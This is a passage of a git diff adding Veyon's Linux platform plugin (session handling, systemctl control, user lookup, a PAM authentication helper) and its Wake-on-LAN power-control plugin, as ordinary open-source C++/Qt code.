LinuxServiceCore::getSessionEnvironment( int sessionLeaderPid ) +{ + QProcessEnvironment sessionEnv; + + PROCTAB* proc = openproc( PROC_FILLSTATUS | PROC_FILLENV ); + proc_t* procInfo = nullptr; + + QList ppids; + + while( ( procInfo = readproc( proc, nullptr ) ) ) + { + if( ( procInfo->ppid == sessionLeaderPid || ppids.contains( procInfo->ppid ) ) && + procInfo->environ != nullptr ) + { + for( int i = 0; procInfo->environ[i]; ++i ) + { + const auto env = QString( procInfo->environ[i] ).split( '=' ); + sessionEnv.insert( env.first(), env.mid( 1 ).join( '=' ) ); + } + + ppids.append( procInfo->tid ); + } + + freeproc( procInfo ); + } + + closeproc( proc ); + + return sessionEnv; +} diff --git a/plugins/platform/linux/LinuxServiceCore.h b/plugins/platform/linux/LinuxServiceCore.h new file mode 100644 index 0000000..40c2a18 --- /dev/null +++ b/plugins/platform/linux/LinuxServiceCore.h @@ -0,0 +1,94 @@ +/* + * LinuxServiceCore.h - declaration of LinuxServiceCore class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_SERVICE_CORE_H +#define LINUX_SERVICE_CORE_H + +#include + +#include "LinuxCoreFunctions.h" +#include "PlatformServiceCore.h" + +// clazy:excludeall=copyable-polymorphic + +class LinuxServiceCore : public QObject, PlatformServiceCore +{ + Q_OBJECT +public: + LinuxServiceCore( QObject* parent = nullptr ); + ~LinuxServiceCore(); + + void run(); + +private slots: + void connectToLoginManager(); + void startServer( const QString& login1SessionId, const QDBusObjectPath& sessionObjectPath ); + void stopServer( const QString& login1SessionId, const QDBusObjectPath& sessionObjectPath ); + void stopServer( const QString& sessionPath ); + void stopAllServers(); + +private: + enum { + LoginManagerReconnectInterval = 3000, + ServerTerminateTimeout = 3000, + ServerStopSleepInterval = 100, + ServerKillDelayTime = 1000, + SessionEnvironmentProbingInterval = 1000, + SessionUptimeSecondsMinimum = 3, + SessionUptimeProbingInterval = 1000, + }; + + typedef struct { + QString id; + quint32 uid; + QString name; + QString seatId; + QDBusObjectPath path; + } LoginDBusSession; + + typedef struct { + QString id; + QString path; + } LoginDBusSessionSeat; + + QStringList listSessions(); + + static QVariant getSessionProperty( const QString& session, const QString& property ); + + static int getSessionLeaderPid( const QString& session ); + static qint64 getSessionUptimeSeconds( const QString& session ); + static QString getSessionType( const QString& session ); + static QString getSessionDisplay( const QString& session ); + static QString getSessionId( const QString& session ); + static LoginDBusSessionSeat getSessionSeat( const QString& session ); + + static QProcessEnvironment getSessionEnvironment( int sessionLeaderPid ); + + LinuxCoreFunctions::DBusInterfacePointer m_loginManager; + QMap m_serverProcesses; + bool m_multiSession; + +}; + +#endif // LINUX_SERVICE_CORE_H diff --git a/plugins/platform/linux/LinuxServiceFunctions.cpp b/plugins/platform/linux/LinuxServiceFunctions.cpp new file mode 100644 index 0000000..9927c81 --- /dev/null +++ b/plugins/platform/linux/LinuxServiceFunctions.cpp @@ -0,0 +1,129 @@ +/* + * LinuxServiceFunctions.cpp - implementation of LinuxServiceFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "LinuxServiceCore.h" +#include "LinuxServiceFunctions.h" + + +QString LinuxServiceFunctions::veyonServiceName() const +{ + return QStringLiteral("veyon-service"); +} + + + +bool LinuxServiceFunctions::isRegistered( const QString& name ) +{ + Q_UNUSED(name); + + qCritical( "Querying service registration is not supported on this platform."); + + return false; +} + + + +bool LinuxServiceFunctions::isRunning( const QString& name ) +{ + return systemctl( { QStringLiteral("status"), name } ) == 0; +} + + + +bool LinuxServiceFunctions::start( const QString& name ) +{ + return systemctl( { QStringLiteral("start"), name } ) == 0; +} + + + +bool LinuxServiceFunctions::stop( const QString& name ) +{ + return systemctl( { QStringLiteral("stop"), name } ) == 0; +} + + + +bool LinuxServiceFunctions::install( const QString& name, const QString& filePath, + StartMode startMode, const QString& displayName ) +{ + Q_UNUSED(name) + Q_UNUSED(filePath) + Q_UNUSED(startMode) + Q_UNUSED(displayName) + + qCritical( "Registering services is not supported on this platform."); + + return false; +} + + + +bool LinuxServiceFunctions::uninstall( const QString& name ) +{ + Q_UNUSED(name) + + qCritical( "Unregistering services is not supported on this platform."); + + return false; +} + + + +bool LinuxServiceFunctions::setStartMode( const QString& name, PlatformServiceFunctions::StartMode startMode ) +{ + if( startMode == StartModeAuto ) + { + return systemctl( { QStringLiteral("enable"), name } ) == 0; + } + + return systemctl( { QStringLiteral("disable"), name } ) == 0; +} + + + +bool LinuxServiceFunctions::runAsService( const QString& name, const std::function& serviceMain ) +{ + Q_UNUSED(name); + + serviceMain(); + + return true; +} + + + +void LinuxServiceFunctions::manageServerInstances() +{ + LinuxServiceCore serviceCore; + serviceCore.run(); +} + + + +int LinuxServiceFunctions::systemctl( const QStringList& arguments ) +{ + return QProcess::execute( QStringLiteral("systemctl"), + QStringList( { QStringLiteral("--no-pager"), QStringLiteral("-q") } ) + arguments ); +} diff --git a/plugins/platform/linux/LinuxServiceFunctions.h b/plugins/platform/linux/LinuxServiceFunctions.h new file mode 100644 index 0000000..145dc0d --- /dev/null +++ b/plugins/platform/linux/LinuxServiceFunctions.h @@ -0,0 +1,53 @@ +/* + * LinuxServiceFunctions.h - declaration of LinuxServiceFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_SERVICE_FUNCTIONS_H +#define LINUX_SERVICE_FUNCTIONS_H + +#include "PlatformServiceFunctions.h" + +// clazy:excludeall=copyable-polymorphic + +class LinuxServiceFunctions : public PlatformServiceFunctions +{ +public: + QString veyonServiceName() const override; + + bool isRegistered( const QString& name ) override; + bool isRunning( const QString& name ) override; + bool start( const QString& name ) override; + bool stop( const QString& name ) override; + bool install( const QString& name, const QString& serviceFilePath, + StartMode startMode, const QString& displayName) override; + bool uninstall( const QString& name ) override; + bool setStartMode( const QString& name, StartMode startMode ) override; + bool runAsService( const QString& name, const std::function& serviceMain ) override; + void manageServerInstances() override; + +private: + static int systemctl( const QStringList& arguments ); + +}; + +#endif // LINUX_SERVICE_FUNCTIONS_H diff --git a/plugins/platform/linux/LinuxUserFunctions.cpp b/plugins/platform/linux/LinuxUserFunctions.cpp new file mode 100644 index 0000000..b2b991e --- /dev/null +++ b/plugins/platform/linux/LinuxUserFunctions.cpp @@ -0,0 +1,340 @@ +/* + * LinuxUserFunctions.cpp - implementation of LinuxUserFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "LinuxCoreFunctions.h" +#include "LinuxDesktopIntegration.h" +#include "LinuxUserFunctions.h" + +#include +#include + + +QString LinuxUserFunctions::fullName( const QString& username ) +{ + auto pw_entry = getpwnam( VeyonCore::stripDomain( username ).toUtf8().constData() ); + + if( pw_entry ) + { + QString shell( pw_entry->pw_shell ); + + // Skip not real users + if ( !( shell.endsWith( QStringLiteral( "/false" ) ) || + shell.endsWith( QStringLiteral( "/true" ) ) || + shell.endsWith( QStringLiteral( "/null" ) ) || + shell.endsWith( QStringLiteral( "/nologin" ) ) ) ) + { + return QString::fromUtf8( pw_entry->pw_gecos ).split( ',' ).first(); + } + } + + return QString(); +} + + + +QStringList LinuxUserFunctions::userGroups( bool queryDomainGroups ) +{ + Q_UNUSED(queryDomainGroups); + + QStringList groupList; + + QProcess getentProcess; + getentProcess.start( QStringLiteral("getent"), { QStringLiteral("group") } ); + getentProcess.waitForFinished(); + + const auto groups = QString( getentProcess.readAll() ).split( '\n' ); + + groupList.reserve( groups.size() ); + + for( const auto& group : groups ) + { + groupList += group.split( ':' ).first(); + } + + const QStringList ignoredGroups( { + "daemon", + "bin", + "tty", + "disk", + "lp", + "mail", + "news", + "uucp", + "man", + "proxy", + "kmem", + "dialout", + "fax", + "voice", + "cdrom", + "tape", + "audio", + "dip", + "www-data", + "backup", + "list", + "irc", + "src", + "gnats", + "shadow", + "utmp", + "video", + "sasl", + "plugdev", + "games", + "nogroup", + "libuuid", + "syslog", + "fuse", + "lpadmin", + "ssl-cert", + "messagebus", + "crontab", + "mlocate", + "avahi-autoipd", + "netdev", + "saned", + "sambashare", + "haldaemon", + "polkituser", + "mysql", + "avahi", + "klog", + "floppy", + "oprofile", + "netdev", + "dirmngr", + "vboxusers", + "bluetooth", + "colord", + "libvirtd", + "nm-openvpn", + "input", + "kvm", + "pulse", + "pulse-access", + "rtkit", + "scanner", + "sddm", + "systemd-bus-proxy", + "systemd-journal", + "systemd-network", + "systemd-resolve", + "systemd-timesync", + "utempter", + "uuidd", + } ); + + for( const auto& ignoredGroup : ignoredGroups ) + { + groupList.removeAll( ignoredGroup ); + } + + // remove all empty entries + groupList.removeAll( QStringLiteral("") ); + + return groupList; +} + + + +QStringList LinuxUserFunctions::groupsOfUser( const QString& username, bool queryDomainGroups ) +{ + Q_UNUSED(queryDomainGroups); + + QStringList groupList; + + const auto strippedUsername = VeyonCore::stripDomain( username ); + + QProcess getentProcess; + getentProcess.start( QStringLiteral("getent"), { QStringLiteral("group") } ); + getentProcess.waitForFinished(); + + const auto groups = QString( getentProcess.readAll() ).split( '\n' ); + for( const auto& group : groups ) + { + const auto groupComponents = group.split( ':' ); + if( groupComponents.size() == 4 && + groupComponents.last().split( ',' ).contains( strippedUsername ) ) + { + groupList += groupComponents.first(); // clazy:exclude=reserve-candidates + } + } + + groupList.removeAll( QStringLiteral("") ); + + return groupList; +} + + + +QString LinuxUserFunctions::currentUser() +{ + QString username; + + const auto envUser = qgetenv( "USER" ); + + struct passwd * pw_entry = nullptr; + if( envUser.isEmpty() == false ) + { + pw_entry = getpwnam( envUser ); + } + + if( pw_entry == nullptr ) + { + pw_entry = getpwuid( getuid() ); + } + + if( pw_entry ) + { + QString shell( pw_entry->pw_shell ); + + // Skip not real users + if ( !( shell.endsWith( QStringLiteral( "/false" ) ) || + shell.endsWith( QStringLiteral( "/true" ) ) || + shell.endsWith( QStringLiteral( "/null" ) ) || + shell.endsWith( QStringLiteral( "/nologin" ) ) ) ) + { + username = QString::fromUtf8( pw_entry->pw_name ); + } + } + + if( username.isEmpty() ) + { + return envUser; + } + + return username; +} + + + +QStringList LinuxUserFunctions::loggedOnUsers() +{ + QStringList users; + + QProcess whoProcess; + whoProcess.start( QStringLiteral("who") ); + whoProcess.waitForFinished( WhoProcessTimeout ); + + if( whoProcess.exitCode() != 0 ) + { + return users; + } + + const auto lines = whoProcess.readAll().split( '\n' ); + for( const auto& line : lines ) + { + const auto user = line.split( ' ' ).value( 0 ); + if( user.isEmpty() == false && users.contains( user ) == false ) + { + users.append( user ); // clazy:exclude=reserve-candidates + } + } + + return users; +} + + + +void LinuxUserFunctions::logon( const QString& username, const QString& password ) +{ + Q_UNUSED(username); + Q_UNUSED(password); + + // TODO +} + + + +void LinuxUserFunctions::logout() +{ + // logout via common session managers + LinuxCoreFunctions::kdeSessionManager()->asyncCall( QStringLiteral("logout"), + static_cast( LinuxDesktopIntegration::KDE::ShutdownConfirmNo ), + static_cast( LinuxDesktopIntegration::KDE::ShutdownTypeLogout ), + static_cast( LinuxDesktopIntegration::KDE::ShutdownModeForceNow ) ); + LinuxCoreFunctions::gnomeSessionManager()->asyncCall( QStringLiteral("Logout"), + static_cast( LinuxDesktopIntegration::Gnome::GSM_MANAGER_LOGOUT_MODE_FORCE ) ); + LinuxCoreFunctions::mateSessionManager()->asyncCall( QStringLiteral("Logout"), + static_cast( LinuxDesktopIntegration::Mate::GSM_LOGOUT_MODE_FORCE ) ); + + // Xfce logout + QProcess::startDetached( QStringLiteral("xfce4-session-logout --logout") ); + + // LXDE logout + QProcess::startDetached( QStringLiteral("kill -TERM %1"). + arg( QProcessEnvironment::systemEnvironment().value( QStringLiteral("_LXSESSION_PID") ).toInt() ) ); + + // terminate session via systemd + LinuxCoreFunctions::systemdLoginManager()->asyncCall( QStringLiteral("TerminateSession"), + QProcessEnvironment::systemEnvironment().value( QStringLiteral("XDG_SESSION_ID") ) ); + + // close session via ConsoleKit as a last resort + LinuxCoreFunctions::consoleKitManager()->asyncCall( QStringLiteral("CloseSession"), + QProcessEnvironment::systemEnvironment().value( QStringLiteral("XDG_SESSION_COOKIE") ) ); +} + + + +bool LinuxUserFunctions::authenticate( const QString& username, const QString& password ) +{ + QProcess p; + p.start( QStringLiteral( "veyon-auth-helper" ) ); + p.waitForStarted(); + + QDataStream ds( &p ); + ds << VeyonCore::stripDomain( username ); + ds << password; + + p.closeWriteChannel(); + p.waitForFinished(); + + if( p.exitCode() != 0 ) + { + qCritical() << "VeyonAuthHelper failed:" << p.readAll().trimmed(); + return false; + } + + qDebug( "User authenticated successfully" ); + return true; +} + + + +uid_t LinuxUserFunctions::userIdFromName( const QString& username ) +{ + const auto pw_entry = getpwnam( username.toUtf8().constData() ); + + if( pw_entry ) + { + return pw_entry->pw_uid; + } + + return 0; +} diff --git a/plugins/platform/linux/LinuxUserFunctions.h b/plugins/platform/linux/LinuxUserFunctions.h new file mode 100644 index 0000000..843946b --- /dev/null +++ b/plugins/platform/linux/LinuxUserFunctions.h @@ -0,0 +1,58 @@ +/* + * LinuxUserFunctions.h - declaration of LinuxUserFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_USER_FUNCTIONS_H +#define LINUX_USER_FUNCTIONS_H + +#include "PlatformUserFunctions.h" + +#include + +// clazy:excludeall=copyable-polymorphic + +class LinuxUserFunctions : public PlatformUserFunctions +{ +public: + QString fullName( const QString& username ) override; + + QStringList userGroups( bool queryDomainGroups ) override; + QStringList groupsOfUser( const QString& username, bool queryDomainGroups ) override; + + QString currentUser() override; + QStringList loggedOnUsers() override; + + void logon( const QString& username, const QString& password ) override; + void logout() override; + + bool authenticate( const QString& username, const QString& password ) override; + + static uid_t userIdFromName( const QString& username ); + +private: + enum { + WhoProcessTimeout = 3000 + }; +}; + +#endif // LINUX_USER_FUNCTIONS_H diff --git a/plugins/platform/linux/auth-helper/CMakeLists.txt b/plugins/platform/linux/auth-helper/CMakeLists.txt new file mode 100644 index 0000000..2c484ed --- /dev/null +++ b/plugins/platform/linux/auth-helper/CMakeLists.txt @@ -0,0 +1,11 @@ +INCLUDE_DIRECTORIES(${PAM_INCLUDE_DIR}) + +SET(CMAKE_SKIP_BUILD_RPATH TRUE) +SET(CMAKE_INSTALL_RPATH "") +SET(CMAKE_INSTALL_RPATH_USE_LINK_PATH FALSE) + +ADD_EXECUTABLE(veyon-auth-helper ${CMAKE_CURRENT_SOURCE_DIR}/VeyonAuthHelper.cpp) + +TARGET_LINK_LIBRARIES(veyon-auth-helper Qt5::Core ${PAM_LIBRARY}) + +INSTALL(TARGETS veyon-auth-helper RUNTIME DESTINATION bin PERMISSIONS OWNER_READ OWNER_WRITE OWNER_EXECUTE SETUID GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE) diff --git a/plugins/platform/linux/auth-helper/VeyonAuthHelper.cpp b/plugins/platform/linux/auth-helper/VeyonAuthHelper.cpp new file mode 100644 index 0000000..703b89c --- /dev/null +++ b/plugins/platform/linux/auth-helper/VeyonAuthHelper.cpp @@ -0,0 +1,108 @@ +/* + * VeyonAuthHelper.cpp - main file for Veyon Authentication Helper + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include + + +static char* pam_username = nullptr; +static char* pam_password = nullptr; + +static int pam_conv( int num_msg, const struct pam_message **msg, + struct pam_response **resp, + void *appdata_ptr ) +{ + struct pam_response *reply = nullptr; + + reply = (pam_response *) malloc( sizeof(struct pam_response) * num_msg ); + if( !reply ) + { + return PAM_CONV_ERR; + } + + for( int replies = 0; replies < num_msg; ++replies ) + { + switch( msg[replies]->msg_style ) + { + case PAM_PROMPT_ECHO_ON: + reply[replies].resp_retcode = PAM_SUCCESS; + reply[replies].resp = pam_username; + break; + case PAM_PROMPT_ECHO_OFF: + reply[replies].resp_retcode = PAM_SUCCESS; + reply[replies].resp = pam_password; + break; + case PAM_TEXT_INFO: + case PAM_ERROR_MSG: + reply[replies].resp_retcode = PAM_SUCCESS; + reply[replies].resp = nullptr; + break; + default: + free( reply ); + return PAM_CONV_ERR; + } + } + + *resp = reply; + return PAM_SUCCESS; +} + + +int main() +{ + QString username, password; + QFile stdIn; + stdIn.open( 0, QFile::ReadOnly ); + QDataStream ds( &stdIn ); + ds >> username; + ds >> password; + + pam_username = qstrdup( username.toUtf8().constData() ); + pam_password = qstrdup( password.toUtf8().constData() ); + + struct pam_conv pconv = { &pam_conv, nullptr }; + pam_handle_t *pamh; + int err = pam_start( "su", nullptr, &pconv, &pamh ); + if( err == PAM_SUCCESS ) + { + err = pam_authenticate( pamh, PAM_SILENT ); + if( err != PAM_SUCCESS ) + { + printf( "pam_authenticate: %s\n", pam_strerror( pamh, err ) ); + } + } + else + { + printf( "pam_start: %s\n", pam_strerror( pamh, err ) ); + } + + pam_end( pamh, err ); + + delete[] pam_username; + delete[] pam_password; + + return err == PAM_SUCCESS ? 0 : -1; +} diff --git a/plugins/powercontrol/CMakeLists.txt b/plugins/powercontrol/CMakeLists.txt new file mode 100644 index 0000000..8df801b --- /dev/null +++ b/plugins/powercontrol/CMakeLists.txt @@ -0,0 +1,9 @@ +INCLUDE(BuildPlugin) + +BUILD_PLUGIN(powercontrol + PowerControlFeaturePlugin.cpp + MOCFILES + PowerControlFeaturePlugin.h + RESOURCES + powercontrol.qrc +) diff --git a/plugins/powercontrol/PowerControlFeaturePlugin.cpp b/plugins/powercontrol/PowerControlFeaturePlugin.cpp new file mode 100644 index 0000000..3ea9b09 --- /dev/null +++ b/plugins/powercontrol/PowerControlFeaturePlugin.cpp @@ -0,0 +1,239 @@ +/* + * PowerControlFeaturePlugin.cpp - implementation of PowerControlFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "Computer.h" +#include "ComputerControlInterface.h" +#include "PlatformCoreFunctions.h" +#include "PowerControlFeaturePlugin.h" +#include "VeyonConfiguration.h" +#include "VeyonMasterInterface.h" + + +PowerControlFeaturePlugin::PowerControlFeaturePlugin( QObject* parent ) : + QObject( parent ), + m_powerOnFeature( Feature::Action | Feature::AllComponents, + Feature::Uid( "f483c659-b5e7-4dbc-bd91-2c9403e70ebd" ), + Feature::Uid(), + tr( "Power on" ), QString(), + tr( "Click this button to power on all computers. " + "This way you do not have to power on each computer by hand." ), + QStringLiteral(":/powercontrol/preferences-system-power-management.png") ), + m_rebootFeature( Feature::Action | Feature::AllComponents, + Feature::Uid( "4f7d98f0-395a-4fff-b968-e49b8d0f748c" ), + Feature::Uid(), + tr( "Reboot" ), QString(), + tr( "Click this button to reboot all computers." ), + QStringLiteral(":/powercontrol/system-reboot.png") ), + m_powerDownFeature( Feature::Action | Feature::AllComponents, + Feature::Uid( "6f5a27a0-0e2f-496e-afcc-7aae62eede10" ), + Feature::Uid(), + tr( "Power down" ), QString(), + tr( "Click this button to power down all computers. " + "This way you do not have to power down each computer by hand." ), + QStringLiteral(":/powercontrol/system-shutdown.png") ), + m_features( { m_powerOnFeature, m_rebootFeature, m_powerDownFeature } ) +{ +} + + + +const FeatureList &PowerControlFeaturePlugin::featureList() const +{ + return m_features; +} + + + +bool PowerControlFeaturePlugin::startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + if( m_features.contains( feature ) == false ) + { + return false; + } + + if( feature == m_powerOnFeature ) + { + for( const auto& controlInterface : computerControlInterfaces ) + { + broadcastWOLPacket( controlInterface->computer().macAddress() ); + } + } + else + { + if( confirmFeatureExecution( feature, master.mainWindow() ) == false ) + { + return false; + } + + sendFeatureMessage( FeatureMessage( feature.uid(), FeatureMessage::DefaultCommand ), computerControlInterfaces ); + } + + return true; +} + + + +bool PowerControlFeaturePlugin::stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + Q_UNUSED(master); + Q_UNUSED(feature); + Q_UNUSED(computerControlInterfaces); + + return false; +} + + + +bool PowerControlFeaturePlugin::handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + Q_UNUSED(master); + Q_UNUSED(message); + Q_UNUSED(computerControlInterface); + + return false; +} + + + +bool PowerControlFeaturePlugin::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + Q_UNUSED(server); + + if( message.featureUid() == m_powerDownFeature.uid() ) + { + VeyonCore::platform().coreFunctions().powerDown(); + } + else if( message.featureUid() == m_rebootFeature.uid() ) + { + VeyonCore::platform().coreFunctions().reboot(); + } + else + { + return false; + } + + return true; +} + + + +bool PowerControlFeaturePlugin::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + Q_UNUSED(worker); + Q_UNUSED(message); + + return false; +} + + + +bool PowerControlFeaturePlugin::confirmFeatureExecution( const Feature& feature, QWidget* parent ) +{ + if( VeyonCore::config().confirmDangerousActions() == false ) + { + return true; + } + + if( feature == m_rebootFeature ) + { + return QMessageBox::question( parent, tr( "Confirm reboot" ), + tr( "Do you really want to reboot the selected computers?" ) ) == + QMessageBox::Yes; + } + else if( feature == m_powerDownFeature ) + { + return QMessageBox::question( parent, tr( "Confirm power down" ), + tr( "Do you really want to power down the selected computer?" ) ) == + QMessageBox::Yes; + } + + return false; +} + + + +void PowerControlFeaturePlugin::broadcastWOLPacket( QString macAddress ) +{ + const int MAC_SIZE = 6; + unsigned int mac[MAC_SIZE]; // Flawfinder: ignore + + if( macAddress.isEmpty() ) + { + return; + } + + const auto originalMacAddress = macAddress; + + // remove all possible delimiters + macAddress.replace( ':', QString() ); + macAddress.replace( '-', QString() ); + macAddress.replace( '.', QString() ); + + if( sscanf( macAddress.toUtf8().constData(), + "%2x%2x%2x%2x%2x%2x", + &mac[0], + &mac[1], + &mac[2], + &mac[3], + &mac[4], + &mac[5] ) != MAC_SIZE ) + { + qWarning() << "PowerControlFeaturePlugin::broadcastWOLPacket(): invalid MAC address" << originalMacAddress; + return; + } + + QByteArray datagram( MAC_SIZE*17, static_cast( 0xff ) ); + + for( int i = 1; i < 17; ++i ) + { + for(int j = 0; j < MAC_SIZE; ++j ) + { + datagram[i*MAC_SIZE+j] = static_cast( mac[j] ); + } + } + + QUdpSocket udpSocket; + + udpSocket.writeDatagram( datagram, QHostAddress::Broadcast, 9 ); + + const auto networkInterfaces = QNetworkInterface::allInterfaces(); + for( const auto& networkInterface : networkInterfaces ) + { + const auto addressEntries = networkInterface.addressEntries(); + for( const auto& addressEntry : addressEntries ) + { + if( addressEntry.broadcast().isNull() == false ) + { + udpSocket.writeDatagram( datagram, addressEntry.broadcast(), 9 ); + } + } + } +} diff --git a/plugins/powercontrol/PowerControlFeaturePlugin.h b/plugins/powercontrol/PowerControlFeaturePlugin.h new file mode 100644 index 0000000..44dbfe6 --- /dev/null +++ b/plugins/powercontrol/PowerControlFeaturePlugin.h @@ -0,0 +1,96 @@ +/* + * PowerControlFeaturePlugin.h - declaration of PowerControlFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef POWER_CONTROL_FEATURE_PLUGIN_H +#define POWER_CONTROL_FEATURE_PLUGIN_H + +#include "Feature.h" +#include "FeatureProviderInterface.h" + +class PowerControlFeaturePlugin : public QObject, FeatureProviderInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.PowerControl") + Q_INTERFACES(PluginInterface FeatureProviderInterface) +public: + PowerControlFeaturePlugin( QObject* parent = nullptr ); + ~PowerControlFeaturePlugin() override {} + + Plugin::Uid uid() const override + { + return QStringLiteral("4122e8ca-b617-4e36-b851-8e050ed2d82e"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral("PowerControl"); + } + + QString description() const override + { + return tr( "Power on/down or reboot a computer" ); + } + + QString vendor() const override + { + return QStringLiteral("Veyon Community"); + } + + QString copyright() const override + { + return QStringLiteral("Tobias Junghans"); + } + + const FeatureList& featureList() const override; + + bool startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) override; + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + + bool handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) override; + +private: + bool confirmFeatureExecution( const Feature& feature, QWidget* parent ); + static void broadcastWOLPacket( QString macAddress ); + + const Feature m_powerOnFeature; + const Feature m_rebootFeature; + const Feature m_powerDownFeature; + const FeatureList m_features; + +}; + +#endif // POWER_CONTROL_FEATURE_PLUGIN_H diff --git a/plugins/powercontrol/powercontrol.qrc b/plugins/powercontrol/powercontrol.qrc new file mode 100644 index 0000000..586bc49 --- /dev/null +++ b/plugins/powercontrol/powercontrol.qrc @@ -0,0 +1,7 @@ + + + preferences-system-power-management.png + system-shutdown.png + system-reboot.png + + diff --git a/plugins/powercontrol/preferences-system-power-management.png b/plugins/powercontrol/preferences-system-power-management.png new file mode 100644 index 